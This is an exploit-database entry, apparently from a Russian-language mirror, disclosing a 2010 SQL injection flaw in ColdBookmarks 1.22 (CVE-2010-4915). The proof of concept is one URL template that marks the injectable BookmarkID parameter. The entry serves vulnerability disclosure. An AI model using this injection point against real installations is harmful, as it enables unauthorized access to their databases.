Exploit ColdBookmarks 1.22 - SQL Injection

[Exploiter]

EDB-ID

14933

Проверка EDB

1. Пройдено

Автор

MR_ME

Тип уязвимости

WEBAPPS

Платформа

WINDOWS

CVE

cve-2010-4915

Дата публикации

2010-09-07

ColdBookmarks 1.22 - SQL Injection

# ColdGen - coldbookmarks v1.22 Remote 0day SQL Injection vulnerability
# Vendor: http://www.coldgen.com/
# Found by: mr_me (net-ninja.net)

PoC
http://[target]/[path]/index.cfm?fuseaction=EditBookmark&BookmarkID=[SQLi]&CFID=XXXXXX&CFTOKEN=XXXXXXXX